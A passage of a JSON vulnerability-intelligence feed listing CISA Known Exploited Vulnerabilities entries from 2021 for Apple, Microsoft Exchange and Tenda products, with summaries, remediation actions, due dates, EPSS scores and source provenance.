Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04491,"percentile":0.91416,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30661","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30661 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30663","cveId":"CVE-2021-30663","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Integer Overflow Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain an integer overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03521,"percentile":0.89146,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30663","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30663 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30665","cveId":"CVE-2021-30665","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, watchOS, and tvOS WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03706,"percentile":0.89665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30665","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30665 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30666","cveId":"CVE-2021-30666","aliases":[],"kind":"vulnerability","title":"Apple iOS WebKit Buffer Overflow Vulnerability","summary":"Apple iOS WebKit contains a buffer-overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Safari and WebKit","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02998,"percentile":0.87257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30666&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30666","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30666 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30666&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30666, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30713","cveId":"CVE-2021-30713","aliases":[],"kind":"vulnerability","title":"Apple macOS Unspecified Vulnerability","summary":"Apple macOS Transparency, Consent, and Control (TCC) contains an unspecified permissions issue which may allow a malicious application to bypass privacy preferences.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"macOS","stacks":["Apple macOS","Apple","macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07038,"percentile":0.94142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30713","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30713 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30761","cveId":"CVE-2021-30761","aliases":[],"kind":"vulnerability","title":"Apple iOS WebKit Memory Corruption Vulnerability","summary":"Apple iOS WebKit contains a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Safari and WebKit","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10545,"percentile":0.95739,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30761","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30761 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30762","cveId":"CVE-2021-30762","aliases":[],"kind":"vulnerability","title":"Apple iOS WebKit Use-After-Free Vulnerability","summary":"Apple iOS WebKit contains a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Safari and WebKit","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10986,"percentile":0.95867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30762","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30762 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30807","cveId":"CVE-2021-30807","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS IOMobileFrameBuffer contain a memory corruption vulnerability which may allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28839,"percentile":0.98136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30807&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30807","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30807 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30807&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30807, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30858","cveId":"CVE-2021-30858","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, macOS Use-After-Free Vulnerability","summary":"Apple iOS, iPadOS, and macOS WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13379,"percentile":0.9639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30858","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30858 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30860","cveId":"CVE-2021-30860","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Integer Overflow Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS CoreGraphics contain an integer overflow vulnerability which may allow code execution when processing a maliciously crafted PDF. The vulnerability is also known under the moniker of FORCEDENTRY.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.75994,"percentile":0.99526,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30860","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30860 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30869","cveId":"CVE-2021-30869","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS Type Confusion Vulnerability","summary":"Apple iOS, iPadOS, and macOS contain a type confusion vulnerability in the XNU which may allow a malicious application to execute code with kernel privileges.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04135,"percentile":0.90761,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30869","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30869 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31199","cveId":"CVE-2021-31199","aliases":[],"kind":"vulnerability","title":"Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability","summary":"Microsoft Enhanced Cryptographic Provider contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Enhanced Cryptographic Provider","stacks":["Microsoft","Enhanced Cryptographic Provider"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02954,"percentile":0.8708,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31199","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31199 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31201","cveId":"CVE-2021-31201","aliases":[],"kind":"vulnerability","title":"Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability","summary":"Microsoft Enhanced Cryptographic Provider contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Enhanced Cryptographic Provider","stacks":["Microsoft","Enhanced Cryptographic Provider"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02617,"percentile":0.85324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31201","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31201 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31207","cveId":"CVE-2021-31207","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Security Feature Bypass Vulnerability","summary":"Microsoft Exchange Server contains an unspecified vulnerability that allows for security feature bypass.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99782,"percentile":0.99955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31207","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31207 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31755","cveId":"CVE-2021-31755","aliases":[],"kind":"vulnerability","title":"Tenda AC11 Router Stack Buffer Overflow Vulnerability","summary":"Tenda AC11 devices contain a stack buffer overflow vulnerability in /goform/setmac which allows attackers to execute code via a crafted post request.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Tenda","product":"AC11 Router","stacks":["Tenda","AC11 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86511,"percentile":0.99735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31755","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31755 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 